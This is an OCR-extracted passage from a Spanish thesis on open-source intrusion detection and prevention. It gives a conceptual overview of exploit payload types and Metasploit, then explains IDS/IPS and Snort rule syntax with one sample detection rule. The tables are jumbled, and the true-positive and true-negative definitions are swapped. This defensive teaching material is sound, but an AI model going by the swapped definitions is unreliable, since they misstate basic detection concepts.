pérdidas
econdmicas,

materiales, etc.
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Una forma util de clasificar los ataques a la seguridad, empleada en la
recomendacion X.800 y RFC 2828, es la distincion entre los ataques pasivos y
ataques activos. Un ataque pasivo intenta conocer o hacer uso de informacién del
sistema, pero no afecta a los recursos del mismo. Un ataque activo, por el
contrario, intenta alterar los recursos del sistema o afectar a su funcionamiento
[14].

Para poder contrarrestar un ataque debemos conocer las fases del mismo [15]:

e Reconocimiento. Se recolecta informacion del sistema de forma activa o
pasiva.

o Escaneo. Probar activamente las vulnerabilidades que puede explotarse.

e Obtener acceso. Explotar una vulnerabilidad para acceder al sistema.

e Mantener acceso. Se mantiene en el sistema para lograr el objetivo del
ataque.

e Cubrir las huellas. El atacante trata de borrar las evidencias del ataque.

3.3.1 Payload

Es la parte del cédigo de un exploit que tiene el objetivo de ejecutarse en la
maquina victima para realizar una accion, generalmente, maliciosa. Un payload no
es mas que una serie de instrucciones que el exploit se encarga de inyectar y
hacer que se ejecuten en la maquina vulnerable. Estas instrucciones de cédigo
pueden implementar una shell, meterpreter, la adicion de un usuario al sistema, la
descarga y ejecucion de éste, etc. Los payloads implementan diversas acciones,

aunque algunos son muchos mas conocidos que otros.

Tipos de payloads

Existen distintos tipos, inline o singles, stagers y staged. Estos diferentes tipos
aportan gran versatilidad y son de gran utilidad en los infinitos escenarios a los

que se enfrenta el pentester.
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Los payloads de tipo single son cdédigo autonomo que solamente realiza una tarea
concreta. Por ejemplo, cuando el exploit inyecta el payload en la memoria y éste
se ejecuta otorgando una shell inversa al atacante, afiadiendo un usuario al

sistema o mostrando algun tipo de mensaje de alerta al usuario.

Los payloads de tipo stargers son los encargados de crear la conexion entre el
atacante y la victima, son el paso previo a la descarga de todo el payload. Existen
payloads con diversas funcionalidades, como puede ser meterpreter. Este tipo de
payloads necesitan crear una conexion con la maquina vulnerada y después
descargar el resto de codigo en otra zona, por lo que los payloads de tipo stargers

son los utilizados para descargar payloads de tipo staged.

Los payloads de tipo staged se descargan y son ejecutados por los de tipo
stargers y normalmente son usados para realizar tareas complejas o con gran
variedad de funcionalidades. En otras palabras, los de tipo staged utilizan
pequefios stargers para ajustarse en pequefios espacios de memoria donde
realizan la explotacion. La cantidad de memoria que se dispone para realizar la

explotacion, en la mayoria de los casos, esta limitada [11].

3.3.2 Metasploit

Es el nombre que recibe el proyecto, open source, sobre seguridad informatica.
Este proyecto facilita el trabajo al auditor proporcionando informacion sobre
vulnerabilidades de seguridad, ayudando a explotarlas en los procesos de
pentesting o de test de intrusion. Este framework es un conjunto de herramientas
con las que el auditor puede desarrollar y ejecutar exploits y lanzarlos contra
maquinas para comprobar la seguridad de estas. Otras de las funcionalidades que
aporta es un archivo de shellcodes, herramientas para recolectar informacion vy

escanear en busca de vulnerabilidades.
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Metasploit en Kali Linux

Los binarios de tipo msf, son herramientas que aportan distintas funcionalidades al

framework como:

e Linea de comandos para interactuar con metasploit.
e Interfaz grafica para interactuar con metasploit.
e Generacion de payloads.

e Analisis en binario.

La ruta de los binarios msf en Kali Linux se encuentra en la variable $PATH por lo
que simplemente lanzandolos desde la linea de comandos se pueden ejecutar,

independientemente de la ubicacion donde se encuentre el usuario.
Como por ejemplo; msfconsole, msfpayload y msfupdate.

Sabemos que una red nunca va a ser seguro y que no sera posible conocer todos
los distintos tipos de ataques, sin embargo, a continuacion en la Tabla 12 se

mencionaran los mas comunes.

31



[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS

Tabla 12. Ataques mas comunes

Programas
autébnomos que
se reproducen y
difunden de
manera
autbnoma. Se
dividen en dos.

IDS/IPS DE CODIGO ABIERTO”] [ \/j 0ok
Clasificacion Definicién Ejemplo
Al igual que los
gusanos, se
Programa que a | disfrazan de
menudo contiene | archivos como

Caballo de Troya

cédigo malicioso, pero
que esta disefado
para parecerse a algo
util o interesante, y asi
enganar al usuario.

imagenes, videos,
musica a través de
correo electrénico o
través de correo
electrénico o)
descargas directas
desde un sitio web.

Gusanos

Cddigo malicioso que
esta disefiado para
copiarse de un equipo
a otro
automaticamente y
basta que su creador
lo active. Crea copias
de si mismo.

Con links infectados
como el famoso:
Mira mi foto en tal
link.

O puede estar
programados  para
parecerse a un
archivo de musica
como:

Te envio tal cancion:
track2.mp3.com

Consiste en distintas
actuaciones que
persiguen colapsar
determinados equipos
o redes informaticas,
para impedir que
puedan ofrecer sus
servicios a sus
clientes y usuarios.

*Multiples
conexiones
simultaneas.
*Generacion de
grandes cantidades
de trafico.
*Sabotajes mediante
routers “maliciosos”.
*Activacion de
programas
“bacterias”.

*Envio masivo de
miles de mensajes
de correo
electronico.
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El empleado insatisfecho

En muchos casos, los actos de pirateo informatico son realizados por antiguos
empleados, generalmente asignados al servicio informatico, que abandonan la
empresa de mala manera y buscan vengarse. Habiendo formando parte de la
empresa, conocen su arquitectura informatica, por lo que tienen mas facilidad para
atacarla. En general, ya poseen varias contrasenas vitales. Algunas pueden haber
sido cambiadas al partir el empleado, pero otras puede que sigan activas, ya sea
porque la empresa olvid6 modificarlas, o porque no sabia que el empleado

conociera dicha contrasena.

Es posible que el usuario despedido haya instalado en su equipo un programa
“backdoor”. Esta aplicacion le permite acceder a voluntad a su equipo, desde el
exterior, atravesando todas las barreras de cortafuegos y todas las contrasenas de

la empresa [16].

3.4 Formas de evitarlos

Existe una posibilidad de disminuir el nivel de riesgo de forma significativa. Para
ello se hace necesario conocer y gestionar de manera ordenada los riesgos a los
que esta sometido el sistema informatico, considerar procedimientos adecuados y

planificar e implantar los controles de seguridad que correspondan.

La elevacion de los niveles de seguridad informatica se consigue implantando un
conjunto de controles, que incluyan politicas, procesos, procedimientos,
estructuras organizativas y funciones de hardware y software, los que deben ser
establecidos, implementados, supervisados y mejorados cuando sea necesario

para cumplir los objetivos especificos de seguridad de la organizacion [17].
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3.4.1 Mecanismos de seguridad

Segun la funcidn que desempefan los mecanismos de seguridad pueden

clasificarse en:

e Preventivos. Actuan antes de que se produzca un ataque. Su mision es
evitarlo.

e Detectores. Actuan cuando el ataque se ha producido y antes de que
cause dafos en el sistema.

e Correctores. Actuan después de que haya habido un ataque y se hayan
producido dafios. Su misién es la de corregir las consecuencias del dano
[18].

Seguridad légica

Los mecanismos y herramientas de seguridad I6gica tienen como objetivo proteger

digitalmente la informacién de manera directa.

e Control de acceso mediante nombres de usuario y contrasefias.

e Cifrado de datos (encriptacién). Los datos se enmascaran con una clave
especial creada mediante un algoritmo de encriptacion. EI emisor y receptor
son conocedores de la clave y a la llegada del mensaje se produce el
descifrado.

e Antivirus. Detectan e impiden la entrada de virus y otro software malicioso.
En el caso de infeccién tienen la capacidad de eliminarlos y de corregir los
dafios que ocasionan en el sistema. Preventivo, detector y corrector.
Protege la integridad de la informacion.

e Cortafuegos (firewall). Se trata de uno o mas dispositivos de software, de
hardware o mixtos que permiten, deniegan o restringen el acceso al

sistema. Protege la integridad de la informacién.
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e Firma digital. Se utiliza para la transmision de mensajes telematicos y en la
gestion de documentos electronicos. Protege la integridad y la
confidencialidad de la informacidn.

e Certificados digitales. Son documentos digitales mediante los cuales una
entidad autorizada garantiza que una persona o entidad es quien dice ser,
avalada por la verificacion de su clave publica. Protege la integridad y la

confidencialidad de la informacién [18].

Seguridad fisica

Son tareas y mecanismos fisicos cuyo objetivo es proteger al sistema (y, por tanto

indirectamente a la informacion) de peligros fisicos y logicos.

e Respaldo de datos. Guardar copias de seguridad de la informacion del
sistema en lugar seguro. Disponibilidad.

e Dispositivos fisicos de proteccion, como pararrayos, detectores de humo
y extintores, cortafuegos por hardware, alarmas contra intrusos, sistemas
de alimentacién interrumpida o0 mecanismos de proteccion contra

instalaciones [18].

3.4.2 Recomendaciones basicas

Pero debemos empezar desde lo mas sencillo, con el eslabon mas débil, que es el

usuario, para eso se da unos consejos en la siguiente lista:

e No rebele sus contrasefias a nadie ni su informacién personal a
desconocidos.

e Cambie frecuentemente sus contrasenas y utilice una diferente por cada
servicio o red social que tenga. No habilite la opcion de recordar contrasefia

en sitios publicos.
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e Acostumbre a cerrar sus sesiones cuando termine de navegar o de utilizar
el equipo, y mas si es en un sitio publico.

e Cuando reciba un correo y no conoce el destinatario, no lo abra. O si le
llegan anuncios, eventos, descuentos de alguna tienda, y no esta inscrito,
tampoco lo abra. Por mas tentadora que parezca.

e Utilice un antivirus, ya que le ayuda a mantenerle un tanto seguro, y
actualice sus aplicaciones peridodicamente.

¢ No descargue cualquier cosa en Internet, dude de su procedencia.

e Si comparte su computadora o celular con otras personas, eduqueles para

evitar ciertos descuidos.

3.5 Sistemas de deteccidn y prevencion de intrusiones

Una manera de contrarrestar las posibles amenazas en las que nuestra red estara
expuesta es implementar dispositivos 0 mecanismos como los firewalls y los

sistemas de prevencion y deteccion de intrusiones (IDS/IPS).

Un IDS/IPS es un dispositivo de seguridad que se encarga de monitorear el trafico
de red y las actividades del sistema en busca de actividad maliciosa previniendo
vulnerabilidades que los firewalls no pueden. Hay de software libre o de paga. Y
se ha demostrado que es posible implementarlos con cédigo abierto y tiene un

buen desemperfio en la deteccion y prevencion de intrusiones.

En esta tesis, se implementara dos IDS/IPS con software de cddigo abierto:

Suricata y Snort.
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4. LINEAS DE DEFENSA

4.1 Sistemas de Deteccion de Intrusos (IDS)

Estos sistemas realizan el monitoreo de los contenidos de flujo de informacion de
la red con el fin de detectar la entrada de posibles ataques. Aunque tiene una
desventaja, como trabaja en modo pasivo, eso lo hace poco eficiente, ya que

permite que entren intrusiones a la red.

Estos sistemas pueden proveer de informacidn muy especifica, como, por
ejemplo, el tipo de ataque, la hora de ejecucion, la IP del atacante y de la victima,
entre otros. Su objetivo principal es detectar trafico malicioso mediante firmas o
anomalias. Estas firmas pueden ser modificados por el usuario del sistema IDS

para hacerlo mas seguro.

Pueden combinar hardware y software, y éstos normalmente se instalan en los

dispositivos mas externos de la red. Admiten dos tipos de clasificaciones:

a) Segun la actividad que realizan:

e Basado en host (HIDS)

Residen en el propio host que realizan el monitoreo (agente IDS), por lo que
tienen acceso a la informaciéon recolectada por las propias herramientas de
auditoria del host (registros de actividad, accesos al sistema de archivos, logs

de registro, etc.), como se muestra en la llustracion 8.

Cabe mencionar que los agentes IDS envian su informacion del sistema

donde se encuentran hacia un servidor IDS.
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llustracidn 8. IDS basados en host

e Basado en red (NIDS)

Realiza el monitoreo del trafico de un equipo o de una red. Se debe
implementar un esquema en donde reciba el trafico de todos los equipos
conectados a la red. Se recomienda instalarlo en el perimetro de la red o
subred para poder monitorear el trafico tanto de entrada como de salida.
Depende de su correcta ubicacion y administracion dependera el éxito de su

funcionamiento. En la llustracion 9 se muestra una topologia basica.
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llustracion 9. IDS basado en red

A continuacion, en la Tabla 13 se muestra una comparativa con sus ventajas y
desventajas de los HIDS y NIDS.

HIDS NIDS

*Detecta mejor los ataques
desde dentro de la red, ya que
monitorea inicios de sesion,
cambios de archivos, registro,
etc.

*Sélo se encarga de proteger
el host en donde reside, por lo
gue consume poCcoS recursos.

*Se instala en segmentos de red,
por lo que con un solo NIDS
puede detectar ataques en todos
los equipos conectados en él.
*Resultan independientes de la
plataforma utilizada por los
distintos equipos de la red.

Ventajas
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Desventajas

se puede confiar
informes.

*Lentitud de respuesta.
*Requiere su desarrollo bajo
diferentes plataformas.
*Desde el momento en que ha
sido atacado con éxito, ya no

en sus

*Resultan totalmente ineficientes
en sistema con trafico cifrado.

*Su  funcionamiento  requiere
suficiente RAM y CPU
dependiendo de la cantidad de
trafico en la red.

*Si se produce congestion
momentanea en la red, podria
perder paquetes.

Tabla 13. Ventajas y desventajas de los HIDS y NIDS
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b) Segun el tipo de analisis que realizan:

e Basado en firmas

De forma similar a los programas antivirus, estos tipos de IDS, monitorean la red
en busca de patrones (firmas de ataque) que permitan identificar un ataque ya
conocido. Estos tipos de IDS requieren que las bases de datos de firmas de

ataque se encuentren constantemente actualizadas.
e Basado en anomalias

En este caso, el IDS buscara comportamientos anédmalos en la red (un escaneo de

puertos, paquetes malformados, etc.).

Puede producir falsos positivos debido a la ambigliedad de la que se podria
considerar un “comportamiento anémalo de usuario”, pero permiten adaptarse a

nuevos ataques sin necesidad de anadir nuevas firmas [19].

Cuando el IDS detecta un evento al que identifica como trafico anormal o maligno,
genera alertas. Dependiendo de la implementacién, las alertas son registradas en:
archivos (logs), base de datos, notificadas por correo o se pueden incluso enviar

directamente a otras aplicaciones externas.

La respuesta de todo IDS es pasiva, es decir, Unicamente alertan la presencia de
un ataque, no lo detienen. Por esa razén los IDS son herramientas mas utiles para
el analista de red, el mismo que se debe encargar de analizar y estudiar los
eventos ocurridos en la red para realizar acciones que atenuen o eliminen futuras

amenazas similares [20].
Funciones de un IDS
Sus funciones se pueden resumir como sigue:

e Deteccion de ataques en el momento que estan ocurriendo o0 poco

después.
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e Automatizacion de la busqueda de nuevos patrones de ataque, gracias a
herramientas estadisticas de busqueda, y al analisis de trafico anémalo.

e Monitoreo y analisis de las actividades de los usuarios. De este modo se
pueden conocer los servicios que usan los usuarios, y estudiar el contenido
del trafico, en busca de elementos andémalos.

e Auditoria de configuraciones y vulnerabilidades de determinados sistemas.

e Descubrimiento de sistemas con servicios habilitados que no deberian de
tener mediante el analisis del trafico y de los logs.

e Analisis de comportamiento anormal. Si se detecta una conexion fuera de
hora, reintentos de conexion fallidos y otros, existe la posibilidad de que se
esté en presencia de una intrusion. Un analisis detallado del trafico y los
logs puede revelar una maquina comprometida o un usuario con su
contrasefia al descubierto.

e Automatizacion de tareas como la actualizacion de reglas, la obtencion y

analisis de logs, la configuracion de cortafuegos y otros [21].

4.2 Sistemas de Prevencion de Intrusos (IPS)

Son dispositivos ubicados en puntos clave de una red interna, los cuales analizan
continuamente el trafico de la misma en busqueda de patrones conocidos,
guardados en una base de datos, para poder avisar y ejecutar acciones a tiempo

para combatir actividades potencialmente maliciosas [22].

Un dispositivo IPS se implementa en el modo linea. Esto significa que todo el
trafico de entrada y salida debe fluir a través de él para su procesamiento. Un IPS
no permite a los paquetes poder entrar en el lado de confianza de la red sin
primero ser analizados. Es capaz de detectar y abordar de inmediato un problema
de red [23].

Existen tres zonas en las que se puede ubicar un IDS/IPS de acuerdo a ciertos

criterios de seguridad en una red.
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a) Zona roja: Se encuentra por delante del firewall, el cual “ve y escucha” todo el
trafico, por lo que el sistema IDS/IPS debera configurarse de modo que tenga
poca sensibilidad, ya que habra posibilidad de muchas falsas alarmas. No ofrece
un elevado grado de proteccion ya que si algun intruso lo localiza puede dirigir sus

ataques directamente a él.

b) Zona verde: Se ubica en la misma zona que el firewall; sin embargo, cuenta
con un poco menos de falsas alarmas debido a que el firewall realiza el filtrado de

accesos predefinidos para la red.

c) Zona azul: Zona de confianza, se encuentra por detras del firewall, en esta
zona cualquier tipo de acceso anomalo que haya en la red hay que analizarlo con
detenimiento, pues las reglas del firewall solo “permitira” acceso legitimo, sin
embargo, aun cabe la posibilidad de falsas alarmas. En esta ubicacion se

monitorean aquellas intrusiones que consiguen atravesar el firewall.

En la llustracion 10 se muestra la ubicacidén de un sistema IDS/IPS en las

diferentes zonas mencionadas anteriormente.

llustracion 10. Ubicaciones de los IDS/IPS
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Como prevencion el IPS a menudo se encuentra directamente detras del firewall y
se proporciona una capa complementaria de analisis que selecciona
negativamente para el contenido peligroso. Analiza de forma activa y toma
acciones automatizadas en todos los flujos de trafico que entran en la red. En

concreto, estas acciones incluyen [23]:

e Envia una alarma al administrador.
e Deja caer los paquetes.
e Bloqueo de trafico desde la direccion de origen.

e Restablecimiento de la conexion.

Para la deteccion el IPS tiene una serie de métodos para encontrar exploits, pero

las que se mencionan a continuacion son los mas dominantes.
e Deteccion basada en firmas

Se basa en un diccionario de patrones unico de identificacion (o firmas) en el
cbdigo de cada exploit. Cuando un exploit es descubierto, su firma se registra y se
almacena en un diccionario. Dicho de otra manera, los IDS/IPS analizan el trafico
de la red mediante la deteccion por firmas que consiste en la definicion de un
patron con caracteristicas especificas, las cuales comunmente se basan en
patrones de amenazas ya conocidas. Pues las firmas contienen caracteristicas
como tipo de tréafico, direccion de flujo, protocolo, direcciones IP, puertos o incluso
el contenido de datos en el paquete. Cuando un paquete de red coincide con este
patron, entonces se levantara la alerta y posiblemente una accién seguida. Los
desarrolladores de IDS/IPS comunmente liberan nuevas firmas para poder

detectar amenazas recientes [23].
e Deteccion basada en politicas

En este tipo de deteccion, el IPS requiere que se declaren muy especificamente
las politicas de seguridad. Por ejemplo, determinar qué host pueden tener

comunicacion con determinadas redes. El IPS reconoce el trafico fuera del perfil
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permitido y lo descarta. Requiere de mayor trabajo por parte del administrador de
red y es menos propenso a falsos positivos, sin embargo, no es tan completo o

flexible como la deteccion por firmas [21].
e Deteccion de anomalias

Consiste en detectar condiciones anormales de la red. Para ello el dispositivo
debe entrar primero en un modo de auto aprendizaje para detectar umbrales de

normalidad y para que el administrador pueda afinar dando los falsos veredictos.

Solo detecta mas no alerta, queda a discrecion del administrador de redes de
observar y juzgar de acuerdo a los reportes que presenta el mdédulo, si es 0 ho un

ataque de red.

Este tipo de deteccion tiende a generar muchos falsos positivos, ya que es

sumamente dificil determinar y medir una condicién “normal’.
Es este tipo de deteccidn existe dos opciones:

o Deteccidn estadistica de anormalidades. El IPS analiza el trafico de red
por un determinado periodo de tiempo y crea una linea base de
comparaciéon. Cuando el trafico varia demasiado con respecto a la linea
base de comportamiento se genera una alarma.

o Deteccién no estadistica de anormalidades. En este tipo de deteccion,
es el administrador quien define el patrén “normal” de trafico. Sin
embargo, debido a que con este enfoque no se realiza un analisis
dinamico y real del uso de la red, es susceptible a generar muchos
falsos positivos [24].

o Deteccidn Honey Pot. Aqui se utiliza un “distractor”. Se asigna como
honey pot un dispositivo que pueda lucir como atractivo para los
atacantes. Los atacantes utilizan sus recursos para tratar de ganar
acceso en el sistema y dejan intactos los verdaderos sistemas. Mediante

esto, se puede monitorear los métodos utilizados por el atacante e
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incluso identificarlo, y de esa forma implementar politicas de seguridad

acordes en nuestro sistema de uso real [24].

El analisis de los distintos eventos registrados en el sistema por los IDS/IPS no es
impecable: es habitual que la base de datos de firmas esté desactualizada y que
los métodos estadisticos de deteccion de comportamientos indebidos no sean

perfectos.

Por ello es comun que cuando los sistemas de deteccién y prevencion de
intrusiones toman decisiones sobre si un evento debe considerarse o no un

ataque, se equivoquen.

En el momento de la toma de decision de si un evento es efectivamente un ataque

0 no puede haber cuatro posibilidades:
e Deteccion de falso positivo o falsa alarma.

Cuando el IDS/IPS detecta como ataque el trafico de datos que en verdad es

inofensivo.
e Falso negativo

Ataque que no es detectado por el IDS/IPS.
e Verdadero positivo

Evento inofensivo que el IDS/IPS ha detectado como trafico de red normal.
e Verdadero negativo

Ataque detectado correctamente por el IDS/IPS.

En la llustracidon 11 se muestra las distintas posibilidades en cuanto a la deteccion
de ataques en los IDS/IPS [25].
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llustracion 11. Posibilidades de deteccion de ataques

4.3 Snort

Para esta tesis, una linea de defensa implementada es el Snort. Este es un
sistema de deteccion de intrusiones basado en red (NIDS). Esta bajo licencia GPL
y se dispone de su cddigo fuente para afadir nuevas funcionalidades. Es gratuito y

funciona bajo plataformas Windows y GNU/Linux.

Originalmente lanzado en 1998 por Marty Roesch como una red multi-plataforma

ligera, se ha convertido en una deteccion de intrusidén potente.

Su funcionamiento es similar al de un sniffer, ya que monitoriza todo el trafico de la
red en busqueda de cualquier tipo de intrusion. Implementa un motor de deteccion
de ataques y barrido de puertos que permite registrar, alertar y responder ante

cualquier anomalia previamente definida por patrones [26].
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Es uno de los NIDS mas utilizados, facilita la informacion de los paquetes de red,
ya que suministra informacién completa y precisa en el registro de actividades
maliciosas de la red. Notifica a los administradores la deteccion de potenciales

violaciones de la red.
Caracteristicas:

e Dispone de mas de 700 firmas en su base de datos.
e Distribucién gratuita.

e Analiza el trafico de la red en tiempo real.

Elementos que componen el esquema basico de su arquitectura (ver llustraciéon
12):

e Mddulo de captura del trafico. - Encargado de capturar todos los paquetes
de la red utilizando la libreria lipcap.

e Decodificador. - Se encarga de formar las estructuras de datos con los
paquetes capturados e identificar los protocolos de enlace, de red, etc.

e Preprocesadores. - Permiten extender las funcionalidades preparando los
datos para la deteccion. Dependiendo del trafico que se quiere analizar,
existen diversos tipos de preprocesadores, por ejemplo, http, telnet, etc.

e Motor de deteccion. — Analiza los paquetes en base a las reglas definidas
para detectar los ataques.

e Archivo de reglas. — Definen el conjunto de reglas que se utilizan en el
analisis de los paquetes detectados.

e Plugins de deteccion. — Son partes del software que son compilados con
Snort y se usan para modificar el motor de deteccion.

e Plugins de salida. — Permiten definir qué, cdmo y dénde se guardan las
alertas y los correspondientes paquetes de red que las generaron. Pueden

ser archivos de texto, bases de datos, servidor syslog, etc.
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llustracién 12. Arquitectura de Snort

50



[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS
IDS/IPS DE CODIGO ABIERTO”] Ne:\J3 i Ko}

4.3.1 Reglas de Snort

Snort opera usando firmas de deteccion llamadas rulesets. Las reglas pueden ser
creadas por el usuario o descargadas de internet. El paquete de Snort

actualmente ofrece soporte para las siguientes reglas:

e Reglas Snort VRT (Vulnerability Research Team) (reglas libres con
registro).

e Reglas Comunitarias Snort GPLv2 (distribucion libre).

e Amenazas Emergentes (distribucion libre).

e Amenazas Emergentes (reglas de paga).

Las reglas comunitarias y las reglas de amenazas emergentes estan disponibles

gratuitamente sin registrarse. Las reglas Snort VRT son ofrecidas de dos formas:

a) Registrandose gratuitamente en hiip://www.snort.org y obteniendo un

OinkCode. El registro gratuito proporciona acceso a reglas que han sido
lanzadas hace 30 dias o0 mas.
b) Mediante una suscripcion de pago que ofrece actualizaciones dos veces

por semana (y algunas veces mas frecuente) de las reglas.

Las reglas de Snort se dividen en dos secciones logicas, la cabecera de la regla y
las opciones de la regla. La cabecera contiene la accion, protocolo, direccién IP
origen y destino, mascaras de subred e informacion de los puertos de origen y
destino. La seccion opciones de la regla contiene mensajes e informacion de
alerta en el que partes del paquete deben ser inspeccionados para determinar si

se debe tomar la accion de alguna regla.

La llustracion 13 muestra los parametros que se encuentran en la cabecera de

una regla.
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Cabecera de la regla Opciones de laregla

Accidn Protocolo Red origen Puerto origen Direccion Red destino Puerto destino

llustracion 13. Estructura de una regla de Snort

4.3.2 Cabecerade laregla

Accion

Dice a Snort qué hacer cuando se encuentra un paquete que coincide con los
criterios de la regla. Hay 5 acciones disponibles por defecto en Snort: alert, log,
pass, active y dynamic. Ademas, si se esta ejecutando Snort en modo en linea
(IPS), se cuentan con opciones adicionales que incluyen drop, reject y sdrop. En la

Tabla 14 se describen las funciones de estas acciones.

Tabla 14. Opciones de accidn en la cabecera de una regla

Opciones de
accién

Descripcion

Genera una alerta utilizando el método de alerta seleccionada, y

alert .
luego ingresa el paquete.

log Comprueba el paquete.
pass Ignora el paquete.
activate Alerta y luego activa otra regla dinamica.
q : Permanece inactivo hasta que se activa por una regla de
ynamic ) ) . . :
activacion, a continuacion, actua como una regla de registro.
drop Bloquea y registra el paquete.
Bloquea el paquete, lo registra y luego envia un TCP reset si el
reject protocolo es TCP o un “ICMP port unreachable” si el protocolo es
UDP.
sdrop Bloquea el paquete, pero no lo registra en un log.
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Protocolos

Hay cuatro protocolos que Snort analiza para detectar un comportamiento

sospechoso, los cuales son: TCP, UDP, ICMP e IP.

Direcciones IP

Las direcciones estan formadas por una direccion IP numérica y un bloque CIDR.

Numero de puertos

Los numeros de puerto pueden especificarse de diversas maneras, incluyendo,

any definiciones estaticas de puertos, rangos y por la negacion.

El operador de direccion

Indica la orientacién o la direccidn del trafico al que se aplica la regla.

4.3.3 Opciones de las reglas
Las opciones estan separadas entre si, por (;) y las claves de las opciones estan

separadas por (:). Hay cuatro tipos de opciones, como se muestran en la

Tabla 15.

Tabla 15. Opciones de las reglas

Opciones de

Descripcion
regla

Estas opciones proporcionan informacion acerca de la regla, pero
no tienen ningun efecto durante la deteccién.

En estas opciones, todos buscan datos dentro de la carga util del
paquete y pueden ser relacionados entre si.

Estas opciones buscan datos, no carga. Busca patrones dentro de
) el zenilers | los demas campos del paquete, que no sean carga util (por
ejemplo, la cabecera).

Post- Permite activar reglas especificas que ocurren después de que se
detection ejecute una regla.

General

Payload
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msg

La opcién regla msg le dice al motor de registro y alerta el mensaje que se debe

imprimir junto con el volcado de paquetes.
reference

La palabra clave reference permite reglas para incluir referencias a los sistemas

de identificacién de ataque externos.

gid

Se utiliza para identificar qué parte de Snort genera el evento cuando una regla se
“dispara”.

sid

Identifica las reglas de Snort.

rev

El rev es una palabra clave que se utiliza para identificar de forma exclusiva las

revisiones de las reglas de Snort.
classtype

Se utiliza para clasificar una regla como la deteccion de un ataque que es parte de
un tipo mas general de la clase de ataque. Snort proporciona un conjunto
predeterminado de clases de ataque que son utilizados por el conjunto

predeterminado de reglas que proporciona. Ejemplo:

alert tcp any any -> any 25 (msg:” SMTP expn root”; flags: A+; content:” expn root”;

nocase; classtype: attempted-recon;)
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Los ataques estan clasificados actualmente con 4 prioridades predeterminadas.

Una prioridad de 1 (alta) es la mas grave y 4 (muy baja) es la menos grave.

Tabla 16. Principales tipos de clases de Snort

Opciones deregla Descripcion Prioridad
attempted-admin Intento de ganar privilegios del administrador. Alta
attempted-user Intento de ganar privilegios del usuario. Alta
inappropriate-content Contenido inapropiado fue detectado. Alta
policy-violation Potencial violacion de privacidad corporativa. Alta

priority

Asigna un nivel de gravedad de las normas.
metadata

La etiqueta metadata le permite a un escritor de regla incrustar informacion

adicional acerca de esta, por lo general en un formato de key-value.
Opciones de laregla, payload

Content

Busca contenido especifico en el payload del paquete de respuesta y dispara una
respuesta sobre la base de esos datos.

Nocase

Compara la cadena del contenido anterior sin tener en cuenta las mayusculas y

las minusculas.
Rawbytes

La palabra clave rawbytes permite a la regla buscar en el paquete de datos

original ignorando cualquier decodificacién que fue hecho por preprocesadores.
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Depth

Especifica hasta qué punto en un paquete Snort deberia buscar el patron

especificado. Modifica la palabra clave previa content de la regla.
http_client_body

Es un modificador de contenido que restringe la busqueda al cuerpo de una

peticion de cliente HTTP.
http_cookie

Es un modificador de contenido que restringe la busqueda al campo de
encabezado de cookie extraido de una solicitud de un cliente HTTP o una

respuesta del servidor HTTP.
http_hearder

Restringe la busqueda a los campos de cabecera extraidos de una peticion de

cliente HTTP o una respuesta del servidor HTTP.

http_method

Restringe la busqueda al método extraido de una peticion de cliente HTTP.
http_uri

Es un modificador de contenido que restringe la busqueda al campo de solicitud

normalizada URIS.

CVS

Las ayudas del plugin de deteccion de CVS4.
protected_content

La busqueda se realiza mediante hashing de las partes de los paquetes entrantes
y comparando los resultados contra el hash proporcionado. Actualmente, es
posible utilizar los algoritmos MD5, SHA256 y SHA512 hash.
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hash

La palabra clave hash se utiliza para especificar el algoritmo hash a utilizar cuando

coincide con una regla protected_content.

Opciones de regla, non-payload

TTL

Comprueba el valor en la IP del tiempo de vida. Valores de 0 a 255.
tos

La palabra clave tos se utiliza para comprobar el campo IP TOS (Type-of-Service)

para un valor especifico.

id

La palabra clave de id se utiliza para comprobar el campo IP de identificacion para
un valor especifico.

Dsize

Se utiliza para probar el tamafo de carga util del paquete.

Flags

Se utiliza para comprobar si los bits de bandera TCP especifico estan presentes.
flow

Permite que las reglas se apliquen unicamente a determinadas direcciones del

flujo de tréfico.
flowbits

Permite reglas para rastrear estados durante una sesion de protocolo de

transporte.
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Seq

Se utiliza para comprobar si hay un numero de secuencia TCP especifico.

Ack

Se utiliza para comprobar si hay un numero de acuse de recibido (acknowledge)
TCP.

Window

Se utiliza para comprobar un determinado tamafo de la ventana TCP.
Itype

Se utiliza para comprobar si hay un valor especifico del tipo ICMP.
Icode

Se utiliza para comprobar si hay un valor especifico de cédigo ICMP. Los valores
numeéricos se validan con respecto a los valores de cédigo ICMP permisibles entre

0y 255 y otros criterios.

Icmp_id

Se utiliza para comprobar si hay un valor especifico de ID ICMP.

Icmp_seq

Se utiliza para comprobar si hay un valor especifico de secuencia ICMP.

sameip

Permite reglas para comprobar si la IP de origen es la misma que la IP de destino.
Opciones de laregla, post-detection

Logto
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Registra todos los paquetes que desencadenan esta regla a un archivo de registro

de salida especial.

Session

Se construyé para extraer datos de usuario de sesiones TCP.
Tag

Una vez que se activa una regla, el trafico adicional que implica el host de origen
y/o destino estara marcado. Trafico tag se registra para permitir el analisis de

codigos de respuesta y el trafico post-ataque.
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4.4 Suricata

Es un proyecto de software libre para un motor Sistema de Deteccion y
Prevencion de Intrusiones (IDS/IPS); fue desarrollado por la comunidad de OISF

(Open Information Security Foundation).
Entre algunas caracteristicas son las siguientes:

e Multi-threading.- Permite la ejecucion de varios procesos / subprocesos de
forma simultanea y de esta forma aumenta el rendimiento.

Tiene 4 mdédulos de subproceso:

llustracion 14. Proceso de los 4 modulos de Multi-hilos en Suricata

En la llustracion 14 se muestra el procesamiento de un paquete y los modulos de
Suricata que intervienen:

1.- PAQ (captura de paquetes).- Se refiere a la adquisicion de paquetes.

2.- Decode (decodificador).- Se refiere a la decodificacion de paquetes.

Stream App Layer (Inspeccién de la capa de aplicacion).- Realiza el
seguimiento del flujo y reconstruccion.

3.- Detect (deteccidon).- Compara firmas.

4.- Output (salida).- Procesa todos los eventos y alertas.
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Podemos configurar Suricata de forma que cada CPU pueda dedicarse a un

subproceso o modulo.

o Estadisticas y analisis de rendimiento.- Estas estadisticas se vuelcan en el
archivo /var/log/suricata/stat.log

e Deteccion de protocolos automaticos. - A parte de los protocolos IP, TCP,
UDP e ICMP. Suricata tiene palabras claves para otros protocolos como
FTP, HTTP, TLS, SMB. De esa forma podemos escribir reglas
independientemente del puerto que un protocolo use, ya sea por defecto o
no, ya que éste es automaticamente detectado [24].

e Fast IP matching

e |P reputation

e Graphic Cards Acceleration

4.4.1 Regla
Las reglas en Suricata (compatible con Snort) estan compuestas de 3 partes

fundamentales:

